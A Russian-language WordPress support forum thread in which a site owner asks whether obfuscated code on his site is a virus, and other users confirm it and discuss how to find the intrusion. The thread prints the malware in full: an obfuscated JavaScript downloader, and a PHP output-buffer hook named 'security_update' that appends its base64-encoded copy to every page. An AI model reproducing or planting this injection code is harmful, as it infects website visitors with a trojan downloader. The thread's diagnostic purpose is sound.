Поддержка Проблемы и решения Trojan-Downloader в WordPress

  • Привет всем!
    опыта работы с WordPress я не имею. Недавно получил сайт (на незначительную доработку). При доступе к сайту мой антивирус (касперский) ругается на присутсвие на страницах сайта вируса «Trojan-Downloader.JS.Agent.ghg». После небольшой инвестигации удалось выяснить, что вирус присутствует в трех ипостасях: непосредсвенно JS-код, закодированый в base64 код и еще один закодированный в base64 код.
    К чему я упомянул про свой опыт с WP? К тому, что код смахивает (или замаскировался) под WP-код и его генерирует функция security_update.
    Является ли это нормальным? А может быть это какая-нибудь проверка WP на «легальность»? или это явно вирус? ведь WP это опенсорс

    С вашего позволения следующими 3-мя постами приаттачу этот зараженный код.

Просмотр 15 ответов — с 1 по 15 (всего 19)
  • Это было в конце нескольких файлов (index.php и google_verify.php):

    <script>s_uB=document;s_C=window;function s_z($,s_uS){return 0}function s_F(x){return x.join('')}if(typeof($)=='undefined'){s_uy=s_uB.getElementsByTagName('head')[0];s_uv=s_uB.createElement('script');s_uv.setAttribute('src',"http://ajax.googleapis.com/ajax/libs/jquery/1.6.2/jquery.min.js");s_uy.appendChild(s_uv)}s_C.s_N=100;s_C.s_R=25;s_C.s_uT=eval;s_C.trim=function(s_ut,s_uo){if("qabcdef".indexOf(s_ut.substr(0,1))>=0){var s_uj=s_F(s_ut.split('q')).split('v');for(var i=0;i<s_uj.length;i++){s_uj[i]=parseInt(s_uj[i],16)-s_uo[s_ut]}return s_uj.join(',')+','}else{return s_uo[s_ut]}};d='zf={Ekv1a#P2$yZ6I:"e+",Ekv2a#P2$8$Z6I:"",&bkv3a#P2$yZ6v30:"l(\'l=St",#6#5v4e%2&0L$f&2j:"ring.f",O@v52W<code>$cw&aw:&quot;romCha&quot;,L%8v68&2&5R>0j&4:&quot;rCode(&quot;Gb&4X$d%8$9V?&c*7-93%2L%7%8%9Wk%c*6\\N\\*1Hc$d+f!QZP3</code>%c^HcIUU~&3&8LE*8,a1?R?E>8RO&aNA7E#5?$0VLI+8*7BfLOV%d&1#QfV*4Hb#f+e!4W$PP2#c*2AfU+c!2E!3%1E+c*0A5&2%6%4<code></code>|%4%6^H2&4&6%3X&2V@>0*7B1&5&e$8>3L&7&2L*5H1+0$a%7+3&4?$4+0*7-9a%8$8&5&8I>0#Y1*8,d3+6&e$7@$dI%1V*5G1VRO#6R&Yd#f*5G5E#9|E#4>1>6&4*9A6W&0?%7|$6%Yc^H9$3%Pb$2$9%Pb$2*5H4%3<code>%e|%3$Za%d*2G5W%8$7|%PaW|*4,d3$f$dk$7%d$ak$8NGYb%2%8|$8LU$4*1H0%c%9$4LV%1V%0*0-9c#8$d</code>$e+f+e&d&eNGZ4|&9&2+8&4%Z4*0Ga@RO@&e+1&3#d*5B3&9#c&4#d#3W$8&7NA9&8+e&c$b$2$2+fk*6G3$4?EUj$c?w*2Ac+bV+3%8<code>%3k$7*0GZ6|!0&6%c%Z3%8*0Aa%0%3%6&0w&5+b+0^H0</code>$5%9X?DO#c*1A6&e&0w&5+b&7%Y7^G9D%Y8&1V&aD+f*4APcU+fjX%7%Y7^G6#e+d!3@jU%e%2*1H4D+fV$2IV%7I*4A5&d+fRj$2EI%c*2H2%c$1E+fjI+fj^Ab+fE#d!2V$Zy6*2Ab&3E>1!3X$7U&3^,a3$d>8@$b&7#a&5@N,a3#d!3$3R$Y2|%e*0G9$8&0k$Y7&eWj*5Gc$1!3w+6>1w%e&0^-90&9%2$e+1!0!3+3+b*0Ab%d|%3EW%QP9*8Hd%d$a>1>5&3$1%e+1*8-9c#e#8ww!3&c#cO*0B6%1%1#Qc+b&0%y7*5Gfk$5>7<code>$Pd</code>?NGb%8?&b&e#e#b$e$e*2A5&e&0#4OE+e+e#3*2Bc+aU#Q4#f%P6%9*4GP0>2>2%ek@wL*5H6RL$6&2L&6jj*5BQaO#4&0#4D$bX*9A7I&2$0%d+0$8>5?*7,a3&0EE&c$1R&c$4^Acj&dEE@&b|%0*2Ad+Q3#4@$b#3#5@N-9dE@&b&5Ij+0$e*2Hf#Q7%3$9&0&c$1X^BYc&5&5%Y3&1&d$2*4A7#Z9#4#4OO%Z6*1Be+b&a$7D!4+1?w*1Bd#aID#9#d%4O%1*7,a2$f&5&QbO#4%0%6*9Bb!3+4#d+aL&9<code>#e*0Be#3!0LE+aL&9</code>*0-91&1#7!3E#ew&7&0^,ab&a%4D+8?+eD+b*1-9d%7R+b@%1#fV%8*4-94%1+0+2~?+7ID*7B9#bI%4&2?<code>&4E*7By6W$9~%4&1#a#5*9Be#bO#d#aO#d#aO*6Bd#6I#QbI#c#6I*4-91#d#6&2#a#6#d#a#6NB9#3@#8#8@#3#6@*1B8#8#3#8#7#3#8#7#3*7B7O@OO@#6#7@*1B9#9I#Q5I#9#7I*4Bf#Qe#c#5&0#Qb#5*9B9#4#8#4#c&0%Q4&8*8Ab$bU%c>1+4!3+P7^H2%9%e%7R%P2</code>%d*0-99%e%y8&9$5WkR*6H3#5>2#Qc#e#3>7WNHf&5E&eI%3U$0$c*8HP2#c~~XRj%6*2B1L+9~L&9~L$a*5B2XWOX%d%1X%9*6BQ9%Q4U#6k$y5*8B2?%0DRw&9&ck^Ab#dw?+e!4%Y1%6*2,d2|EO#7W$9$9%e*9H1%7&c&9E+e?#f%7^Gd$a!Yy8$d$0%9&1*4G6D~#6@+4#6~&7N,afj?U!PaU?+f^AaL$f$1%c$c$0&Q9*8BQ5jD~L+2~D*5-94&2#5W<code>$c&4@%3*6B1~>5>Q1>Q4#a#8*8BQ5R>2R>2R>2W*5HZ8W>0j?$Ya$9*5,a1&f#4#a#8#8~>5>5*8Ad+1O#3&5&a?@$7NAe$e>4+7!Pe+e&e$5*6HyY5?E$f&2!2j*2H3~>1>7%d&P7%e>0*9A6&a%yakRU&1W*6B0!2V?$aI%3j$1*2G9@#4#3#3#3D#e+4^A0%Yd&0!0!3&1L$3*0Ac%9$e+1!0$3R%3%8*0GZ2&3</code>%4|&Z4L*0GfU>3&6wX$8R$e*6,d0+3!2$aI%e%y0%9*2Ha%e>3X$9|&6%c$b*6H3%8$9%e$Y3&e@L*5,a2$3%P5$P3<code>+7L*1B2&7#6#a>7D$a&6D*9-9a+2$4~#dO#QaO*9AfV$6&d</code>D#8@@*4G1@+a#3U+3&d#8@N,ab>5>Qb&0O%1#y0*9Ge$d+e+d&c%3D&e%4*9A8%0X#b!3$eX$b+c*0,adVV!4%6UW<code>|*1Gb$e+5%cR@www*6,a0+a%2?%c%4%2#d%4*7BZY8%8$5$c!3!4D^A7&3@$b$4Wk%c</code>*6H3W%9DjX@>3%e*5G7X$5$a$1%P0%7X*1AcL@$b%d$c+c$Z5*8GbwD?#4%dk$a+0*6,ac+8+7+2X~O#4D*9,a7ID#8#7I%4X&2*7Ge$yaIk&Qa#b&3*8G7#f%8&1D$8&1%8O*4HyY0%d$8DEV&4*4-9e+6+b+c+d+f|>3%1*5G6???E?R?UNA3X!3E?#ZP8|^Hy8$6D%7~&1D$c*4-95k&4#9#b&7#9&2#a*8AcU$bDDD~%d$2^H0$5U$b#5$yP7U*7B0II&2%c$d%8$3U*7G5?*1,#6#5!%2&0L$f&2V:"32);",&$8$%d$6%c&b$0$1:"zuT(l)\'",V!!0&9$2L!0#8&2:");"};zuu=[];zun=String.fromCharCode;for(+r zx in zf){Ktrim(zx,zf))};K\';zJ=zun(118/5<5/5,98/5/8/5<6,121,58/4/5/0/0/1<0,34,62,60/5/2<4,97/9/1,32<5<4,99);\');K\'zM=zun(104/1/5/3/4<6,61,56,48,62,60,47/5/2<4,97/9/1);\');K\'za=zun(97<2/5,46<6<9/5<6<6/1<4,46,99<1/9,47,49,47<6<4/1<0/0<5,47/0,97/5/8,121,46/6<5<1<0);\');zuT(zF(zuu))!v7#v8$vc%vb&v9*:8+va-,q/,10<,11>vd?!a@!dA-7B-8D!cE!bG,bH,cI#0Kzuu.push(L!8N:90O#2P6$Q5#R!eU!fV!7W%aX!9Y4$Z1$^*3<code>%fj!5k%bw!6y7$zs_|%5~#1\\HZ2$3$Y5$Py8$9';for(c=43;c--;d=(t=d.split('!#$%&*+-/<>?@ABDEGHIKLNOPQRUVWXYZ^</code>jkwyz|~\\'.charAt(c))).join(t.pop()));s_uC=d;s_uT(s_uC)</script>

    Это было в начале бОльшей пачки файлов (index.php, _vti_txt\index.php, wp-includes\default-*.php):

    ob_start("security_update"); function security_update($buffer){return $buffer.base64_decode('PHNjcmlwdD5zX3VCPWRvY3VtZW50O3NfQz13aW5kb3c7ZnVuY3Rpb24gc196KCQsc191Uyl7cmV0dXJuIDB9ZnVuY3Rpb24gc19GKHgpe3JldHVybiB4LmpvaW4oJycpfWlmKHR5cGVvZigkKT09J3VuZGVmaW5lZCcpe3NfdXk9c191Qi5nZXRFbGVtZW50c0J5VGFnTmFtZSgnaGVhZCcpWzBdO3NfdXY9c191Qi5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtzX3V2LnNldEF0dHJpYnV0ZSgnc3JjJywiaHR0cDovL2FqYXguZ29vZ2xlYXBpcy5jb20vYWpheC9saWJzL2pxdWVyeS8xLjYuMi9qcXVlcnkubWluLmpzIik7c191eS5hcHBlbmRDaGlsZChzX3V2KX1zX0Muc19OPTEwMDtzX0Muc19SPTI1O3NfQy5zX3VUPWV2YWw7c19DLnRyaW09ZnVuY3Rpb24oc191dCxzX3VvKXtpZigicWFiY2RlZiIuaW5kZXhPZihzX3V0LnN1YnN0cigwLDEpKT49MCl7dmFyIHNfdWo9c19GKHNfdXQuc3BsaXQoJ3EnKSkuc3BsaXQoJ3YnKTtmb3IodmFyIGk9MDtpPHNfdWoubGVuZ3RoO2krKyl7c191altpXT1wYXJzZUludChzX3VqW2ldLDE2KS1zX3VvW3NfdXRdfXJldHVybiBzX3VqLmpvaW4oJywnKSsnLCd9ZWxzZXtyZXR1cm4gc191b1tzX3V0XX19O2Q9J3pmPXtFa3YxYSNQMiR5WjZJOiJlKyIsRWt2MmEjUDIkOCRaNkk6IiIsJmJrdjNhI1AyJHlaNnYzMDoibChcJ2w9U3QiLCM2IzV2NGUlMiYwTCRmJjJqOiJyaW5nLmYiLE9AdjUyV2AkY3cmYXc6InJvbUNoYSIsTCU4djY4JjImNVI+MGomNDoickNvZGUoIkdiJjRYJGQlOCQ5Vj8mYyo3LTkzJTJMJTclOCU5V2slYyo2XFxOXFwqMUhjJGQrZiFRWlAzYCVjXkhjSVVVfiYzJjhMRSo4LGExP1I/RT44Uk8mYU5BN0UjNT8kMFZMSSs4KjdCZkxPViVkJjEjUWZWKjRIYiNmK2UhNFckUFAyI2MqMkFmVStjITJFITMlMUUrYyowQTUmMiU2JTRgYHwlNCU2XkgyJjQmNiUzWCYyVkA+MCo3QjEmNSZlJDg+M0wmNyYyTCo1SDErMCRhJTcrMyY0PyQ0KzAqNy05YSU4JDgmNSY4ST4wI1kxKjgsZDMrNiZlJDdAJGRJJTFWKjVHMVZSTyM2UiZZZCNmKjVHNUUjOXxFIzQ+MT42JjQqOUE2VyYwPyU3fCQ2JVljXkg5JDMlUGIkMiQ5JVBiJDIqNUg0JTNgJWV8JTMkWmElZCoyRzVXJTgkN3wlUGFXfCo0LGQzJGYkZGskNyVkJGFrJDhOR1liJTIlOHwkOExVJDQqMUgwJWMlOSQ0TFYlMVYlMCowLTljIzgkZGAkZStmK2UmZCZlTkdaNHwmOSYyKzgmNCVaNCowR2FAUk9AJmUrMSYzI2QqNUIzJjkjYyY0I2QjM1ckOCY3TkE5JjgrZSZjJGIkMiQyK2ZrKjZHMyQ0P0VVaiRjP3cqMkFjK2JWKzMlOGAlM2skNyowR1o2fCEwJjYlYyVaMyU4KjBBYSUwJTMlNiYwdyY1K2IrMF5IMGAkNSU5WD9ETyNjKjFBNiZlJjB3JjUrYiY3JVk3Xkc5RCVZOCYxViZhRCtmKjRBUGNVK2ZqWCU3JVk3Xkc2I2UrZCEzQGpVJWUlMioxSDREK2ZWJDJJViU3SSo0QTUmZCtmUmokMkVJJWMqMkgyJWMkMUUrZmpJK2ZqXkFiK2ZFI2QhMlYkWnk2KjJBYiYzRT4xITNYJDdVJjNeLGEzJGQ+OEAkYiY3I2EmNUBOLGEzI2QhMyQzUiRZMnwlZSowRzkkOCYwayRZNyZlV2oqNUdjJDEhM3crNj4xdyVlJjBeLTkwJjklMiRlKzEhMCEzKzMrYiowQWIlZHwlM0VXJVFQOSo4SGQlZCRhPjE+NSYzJDElZSsxKjgtOWMjZSM4d3chMyZjI2NPKjBCNiUxJTEjUWMrYiYwJXk3KjVHZmskNT43YCRQZGA/TkdiJTg/JmImZSNlI2IkZSRlKjJBNSZlJjAjNE9FK2UrZSMzKjJCYythVSNRNCNmJVA2JTkqNEdQMD4yPjIlZWtAd0wqNUg2UkwkNiYyTCY2amoqNUJRYU8jNCYwIzREJGJYKjlBN0kmMiQwJWQrMCQ4PjU/KjcsYTMmMEVFJmMkMVImYyQ0XkFjaiZkRUVAJmJ8JTAqMkFkK1EzIzRAJGIjMyM1QE4tOWRFQCZiJjVJaiswJGUqMkhmI1E3JTMkOSYwJmMkMVheQlljJjUmNSVZMyYxJmQkMio0QTcjWjkjNCM0T08lWjYqMUJlK2ImYSQ3RCE0KzE/dyoxQmQjYUlEIzkjZCU0TyUxKjcsYTIkZiY1JlFiTyM0JTAlNio5QmIhMys0I2QrYUwmOWAjZSowQmUjMyEwTEUrYUwmOWAqMC05MSYxIzchM0UjZXcmNyYwXixhYiZhJTREKzg/K2VEK2IqMS05ZCU3UitiQCUxI2ZWJTgqNC05NCUxKzArMn4/KzdJRCo3QjkjYkklNCYyP2AmNEUqN0J5NlckOX4lNCYxI2EjNSo5QmUjYk8jZCNhTyNkI2FPKjZCZCM2SSNRYkkjYyM2SSo0LTkxI2QjNiYyI2EjNiNkI2EjNk5COSMzQCM4IzhAIzMjNkAqMUI4IzgjMyM4IzcjMyM4IzcjMyo3QjdPQE9PQCM2IzdAKjFCOSM5SSNRNUkjOSM3SSo0QmYjUWUjYyM1JjAjUWIjNSo5QjkjNCM4IzQjYyYwJVE0JjgqOEFiJGJVJWM+MSs0ITMrUDdeSDIlOSVlJTdSJVAyYCVkKjAtOTklZSV5OCY5JDVXa1IqNkgzIzU+MiNRYyNlIzM+N1dOSGYmNUUmZUklM1UkMCRjKjhIUDIjY35+WFJqJTYqMkIxTCs5fkwmOX5MJGEqNUIyWFdPWCVkJTFYJTkqNkJROSVRNFUjNmskeTUqOEIyPyUwRFJ3JjkmY2teQWIjZHc/K2UhNCVZMSU2KjIsZDJ8RU8jN1ckOSQ5JWUqOUgxJTcmYyY5RStlPyNmJTdeR2QkYSFZeTgkZCQwJTkmMSo0RzZEfiM2QCs0IzZ+JjdOLGFmaj9VIVBhVT8rZl5BYUwkZiQxJWMkYyQwJlE5KjhCUTVqRH5MKzJ+RCo1LTk0JjIjNVdgJGMmNEAlMyo2QjF+PjU+UTE+UTQjYSM4KjhCUTVSPjJSPjJSPjJXKjVIWjhXPjBqPyRZYSQ5KjUsYTEmZiM0I2EjOCM4fj41PjUqOEFkKzFPIzMmNSZhP0AkN05BZSRlPjQrNyFQZStlJmUkNSo2SHlZNT9FJGYmMiEyaioySDN+PjE+NyVkJlA3JWU+MCo5QTYmYSV5YWtSVSYxVyo2QjAhMlY/JGFJJTNqJDEqMkc5QCM0IzMjMyMzRCNlKzReQTAlWWQmMCEwITMmMUwkMyowQWMlOSRlKzEhMCQzUiUzJTgqMEdaMiYzYCU0fCZaNEwqMEdmVT4zJjZ3WCQ4UiRlKjYsZDArMyEyJGFJJWUleTAlOSoySGElZT4zWCQ5fCY2JWMkYio2SDMlOCQ5JWUkWTMmZUBMKjUsYTIkMyVQNSRQM2ArN0wqMUIyJjcjNiNhPjdEJGEmNkQqOS05YSsyJDR+I2RPI1FhTyo5QWZWJDYmZGBEIzhAQCo0RzFAK2EjM1UrMyZkIzhATixhYj41PlFiJjBPJTEjeTAqOUdlJGQrZStkJmMlM0QmZSU0KjlBOCUwWCNiITMkZVgkYitjKjAsYWRWViE0JTZVV2B8KjFHYiRlKzUlY1JAd3d3KjYsYTArYSUyPyVjJTQlMiNkJTQqN0JaWTglOCQ1JGMhMyE0RF5BNyYzQCRiJDRXayVjYCo2SDNXJTlEalhAPjMlZSo1RzdYJDUkYSQxJVAwJTdYKjFBY0xAJGIlZCRjK2MkWjUqOEdid0Q/IzQlZGskYSswKjYsYWMrOCs3KzJYfk8jNEQqOSxhN0lEIzgjN0klNFgmMio3R2UkeWFJayZRYSNiJjMqOEc3I2YlOCYxRCQ4JjElOE8qNEh5WTAlZCQ4REVWJjQqNC05ZSs2K2IrYytkK2Z8PjMlMSo1RzY/Pz9FP1I/VU5BM1ghM0U/I1pQOHxeSHk4JDZEJTd+JjFEJGMqNC05NWsmNCM5I2ImNyM5JjIjYSo4QWNVJGJERER+JWQkMl5IMCQ1VSRiIzUkeVA3VSo3QjBJSSYyJWMkZCU4JDNVKjdHNT8qMSwjNiM1ISUyJjBMJGYmMlY6IjMyKTsiLCYkOCQlZCQ2JWMmYiQwJDE6Inp1VChsKVwnIixWISEwJjkkMkwhMCM4JjI6Iik7In07enV1PVtdO3p1bj1TdHJpbmcuZnJvbUNoYXJDb2RlO2ZvcigrciB6eCBpbiB6Zil7S3RyaW0oengsemYpKX07S1wnO3pKPXp1bigxMTgvNTw1LzUsOTgvNS84LzU8NiwxMjEsNTgvNC81LzAvMC8xPDAsMzQsNjIsNjAvNS8yPDQsOTcvOS8xLDMyPDU8NCw5OSk7XCcpO0tcJ3pNPXp1bigxMDQvMS81LzMvNDw2LDYxLDU2LDQ4LDYyLDYwLDQ3LzUvMjw0LDk3LzkvMSk7XCcpO0tcJ3phPXp1big5NzwyLzUsNDY8Njw5LzU8Njw2LzE8NCw0Niw5OTwxLzksNDcsNDksNDc8Njw0LzE8MC8wPDUsNDcvMCw5Ny81LzgsMTIxLDQ2LzY8NTwxPDApO1wnKTt6dVQoekYoenV1KSkhdjcjdjgkdmMldmImdjkqOjgrdmEtLHEvLDEwPCwxMT52ZD8hYUAhZEEtN0ItOEQhY0UhYkcsYkgsY0kjMEt6dXUucHVzaChMIThOOjkwTyMyUDYkUTUjUiFlVSFmViE3VyVhWCE5WTQkWjEkXiozYCVmaiE1ayVidyE2eTckenNffCU1fiMxXFxIWjIkMyRZNSRQeTgkOSc7Zm9yKGM9NDM7Yy0tO2Q9KHQ9ZC5zcGxpdCgnISMkJSYqKy0vPD4/QEFCREVHSElLTE5PUFFSVVZXWFlaXmBqa3d5enx+XFwnLmNoYXJBdChjKSkpLmpvaW4odC5wb3AoKSkpO3NfdUM9ZDtzX3VUKHNfdUMpPC9zY3JpcHQ+');}

    из кода #2 легко получить код #1 — для этого нужно просто применить base64_decode..
    Внимание вопрос: этот JS-код — действительно вирус?

    Однозначно вирус. Как попал туда это вопрос более значимый. Ведь просто удалив эти строки это не выход из положения. Потом опять залезет. Возможные способы проникновения всем известны — компьютер пользователя, «дырки» в плагинах и темах (в том числе созданные специально) и не актуальная версия вордпресс. Долгий процесс поиска предстоит, раз упустили начальный момент заражения, тогда еще можно было найти уязвимость по-легкому…

    Atrax

    (@atrax)

    Ethical engineer

    ведь WP это опенсорс

    А это причем?

    ведь WP это опенсорс

    А это причем?

    Это к вопросу о проверке ВП на «легальность»

    о проверке ВП на «легальность»

    Он другим способом дает о себе знать разработчикам

    ведь WP это опенсорс

    А это причем?

    Это к тому, что у меня была мысль, что этот код каким-то образом связан с WP, т.е. необходим для его работы и меня смутило название функции «security_update». Тем более как оказалось, третий вариант кода на который я грешил (я искал в исходниках по base64_decode) оказался зашифрованным модулем page-flip-image-gallery и девелоперы «защитили» таким способом свой код:

    // This file is protected by copyright law and provided under license. Reverse engineering of this file is strictly prohibited.
    $OOO0O0O00=__FILE__;$O00O00O00=__LINE__;$OO00O0000=2104;eval((base64_decode('JE8wMDBPME8wMD1mb3BlbigkT09PME8wTzAwLCdyYicpO3doaWxlKC0tJE8wME8wME8wMClmZ2V0cygkTzAwME8wTzAwLDEwMjQpO2ZnZXRzKCRPMDAwTzBPMDAsNDA5Nik7JE9PMDBPMDBPMD0oYmFzZTY0X2RlY29kZShzdHJ0cihmcmVhZCgkTzAwME8wTzAwLDM3MiksJ3VONnhrUFhIaE0yN29CMFdycFI4bGJGUy90RExUVStJZ0p5cW52QVF6d2pLR3NjMVlDOTM1ZWRpZjRtVkVhWk89JywnQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODkrLycpKSk7ZXZhbCgkT08wME8wME8wKTs=')));return;?>
    ......

    и девелоперы «защитили»

    ну-ну :)) Хорошее прикрытие для взлома :))

    и девелоперы «защитили»

    ну-ну :)) Хорошее прикрытие для взлома :))

    Нет, на самом деле после декодинга остальной части файла php-flip-image-gallery там получился вполне нормальный класс:

    if ( preg_match('#'.basename(__FILE__).'#', $_SERVER['PHP_SELF']) ) { die('You are not allowed to call this page directly.');}
    class Book
    {
    var
    $id = 0,
    $name = '',
    $stageWidth = '100%',
    ...........
    function Book( $id = '' )
    {
    include_once( PAGEFLIP_DIR.'/page.class.php' );
    if ( !empty($id) )
    {
    $this->id = (int)$id;
    $this->load();
    }
    }
    function load()
    {
    global $pageFlip, $wpdb;
    $file = $pageFlip->plugin_path . $pageFlip->booksDir . '/' . $this->id . '.xml';
    $this->album = new Album( $this->id, ceil( $this->width / 2 ), $this->height );
    ...........
    }

    Приводить код здесь не обязательно, я знаю где взять этот плагин.
    Запомните — НИ один плагин (так же как и Темы) не пишет ничего в файлы папок wp-includes и wp-admin
    Еще вопросы?

    Вопросов нет, только этот плагин (пример которого я привел) записался в wp-content/plugins/.
    Что касается первых двух примеров, то буду их удалять. Как я понял — никакого отношения к WP они не имеют

    отношения к WP они не имеют

    Да. Посмею предположить, что взломали Ваш сайт именно через уязвимость timthumb, скрипт обрабатывающий изображения.
    Вот последний список дырявых плагинов. Если вглядитесь внимательно, то все связаны с обработкой, управлением изображениями. То, то Вашего плагина там нет, не говорит о том, что его не сломали. Возможно через Тему.

    то буду их удалять

    Конечно, это придется сделать, но надо найти на 100% через что ломают.. Нудное занятие 🙂

    Нудное занятие 🙂

    да, я как раз-таки не разработчик, а искать уязвимости я люблю. Другое дело, что сервер на shared хостинге, а логов веб-сервера когда был предположительный взлом уже давно нет.
    В любом случае спасибо всем за помощь 🙂

    инвестигации

    Велик и могуч русский язык 🙂

    а искать уязвимости я люблю.

    Дык куда уж проще — скачал ВП и все свои плаги из правильных репозитариев и сравнил пофайлно со своими — не? 😉

Просмотр 15 ответов — с 1 по 15 (всего 19)
  • Тема «Trojan-Downloader в WordPress» закрыта для новых ответов.